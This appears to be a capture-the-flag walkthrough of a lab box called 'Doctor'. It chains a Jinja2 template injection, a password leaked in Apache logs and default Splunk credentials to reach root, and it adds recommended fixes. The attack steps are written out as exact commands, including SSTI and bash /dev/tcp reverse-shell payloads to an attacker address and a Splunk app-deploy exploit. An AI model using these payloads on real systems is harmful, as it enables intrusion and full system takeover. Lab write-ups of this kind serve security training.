Doctor
Summary
I scanned the public-facing IP and discovered an Apache web server whose root redirected to a Flask-based medical-staff messaging portal running a Jinja2 template engine. A Server-Side Template Injection (SSTI) vulnerability in the post-creation form allowed any registered user to inject template directives that the server evaluated as Python code, yielding a reverse shell as the web application service account.
That account's membership in the system auditing group granted read access to Apache's raw HTTP access logs, where a prior user had accidentally submitted their password as a URL query parameter — logging it in plaintext. The recovered password authenticated as local user 'shaun', whose home directory held the first flag.
Finally, the Splunk Universal Forwarder management API on port 8089 was reachable from the internet and protected only by factory-default credentials while its daemon ran as root. Uploading a malicious application bundle via the Splunk REST API caused the forwarder to execute my own script as root, completing full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 3
Version and default-script scan of the three externally exposed ports.
$ nmap -Pn -sV -sC -p 22,80,8089 $TARGETRegister the virtual hostname discovered in the HTTP 302 redirect.
$ echo "$TARGET doctors.htb" | sudo tee -a /etc/hostsConfirm the redirect to doctors.htb and identify the underlying server header.
$ curl -sI http://$TARGET/Exact commands 4
Register a throwaway account on the portal.
$ curl -s -c cookies.txt -b cookies.txt -X POST http://doctors.htb/register -d "username=$USERNAME&email=$USERNAME@test.local&password=$PASSWORD2&confirm_password=$PASSWORD2"Log in and store the session cookie in cookies.txt.
$ curl -s -c cookies.txt -b cookies.txt -X POST http://doctors.htb/login -d "email=$USERNAME@test.local&password=$PASSWORD2"Submit the arithmetic probe in the post title field.
$ curl -s -c cookies.txt -b cookies.txt -X POST http://doctors.htb/post/new -d 'title={{7*7}}&content=probe'Retrieve /archive and look for the evaluated result; 49 confirms SSTI.
$ curl -s -c cookies.txt -b cookies.txt http://doctors.htb/archive | grep -o '<[^>]*>[0-9]*<'FixNever render user-supplied input as a Jinja2 template fragmentCritical
Exact commands 3
Open a reverse-shell listener on my machine before submitting the payload.
$ nc -lvnp 4444Replace $ATTACKER_IP with your tun0 address. The payload executes when /archive is fetched.
$ curl -s -c cookies.txt -b cookies.txt -X POST http://doctors.htb/post/new --data-urlencode 'title={{request.application.__globals__.__builtins__.__import__("os").popen("bash -c \"bash -i >& /dev/tcp/'"$ATTACKER_IP"'/4444 0>&1\"").read()}}' -d 'content=x'Trigger template evaluation — the Jinja2 engine renders the title and fires the reverse shell.
$ curl -s -c cookies.txt -b cookies.txt http://doctors.htb/archiveExact commands 3
Confirm adm group membership on the web shell: groups=1001(web),4(adm).
$ idList all Apache log files readable by the adm group.
$ ls -la /var/log/apache2/Search the backup log for credential-shaped strings; reveals <withheld> in a URL parameter.
$ grep -aEi 'password|passwd' /var/log/apache2/backupFixPrevent passwords from appearing in HTTP logs and remove unnecessary adm group membershipHigh
Exact commands 2
Switch to shaun non-interactively and read the user flag. Flag value: <user.txt>.
$ printf "$PASSWORD\n" | su - shaun -c 'id; cat ~/user.txt'
uid=1000(shaun)Alternative: SSH as shaun (password: $PASSWORD) for a stable, full TTY session.
$ ssh shaun@$TARGETExact commands 5
Verify the default credentials against the Splunk REST API — HTTP 200 confirms access.
$ curl -sk -u 'admin:changeme' https://$TARGET:8089/services/server/info -o /dev/null -w '%{http_code}\n'Clone the Splunk app-deploy exploit tool.
$ git clone https://github.com/cnotin/SplunkWhisperer2.git && cd SplunkWhisperer2/PySplunkWhisperer2Open a second listener for the root reverse shell (separate terminal).
$ nc -lvnp 5555Replace $ATTACKER_IP with your tun0 IP. Splunk installs the app and executes the payload as root.
$ python3 PySplunkWhisperer2_remote.py --host $TARGET --port 8089 --username admin --password changeme --payload 'bash -c "bash -i >& /dev/tcp/'"$ATTACKER_IP"'/5555 0>&1"' --lhost $ATTACKER_IPOn the root shell: read the root flag. Flag value: <root.txt>.
$ cat /root/root.txtFixChange default Splunk credentials, bind the management port to loopback only, and run the forwarder as an unprivileged accountCritical
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.41 ((Ubuntu)) |
| 8089/tcp | ssl/http Splunkd httpd |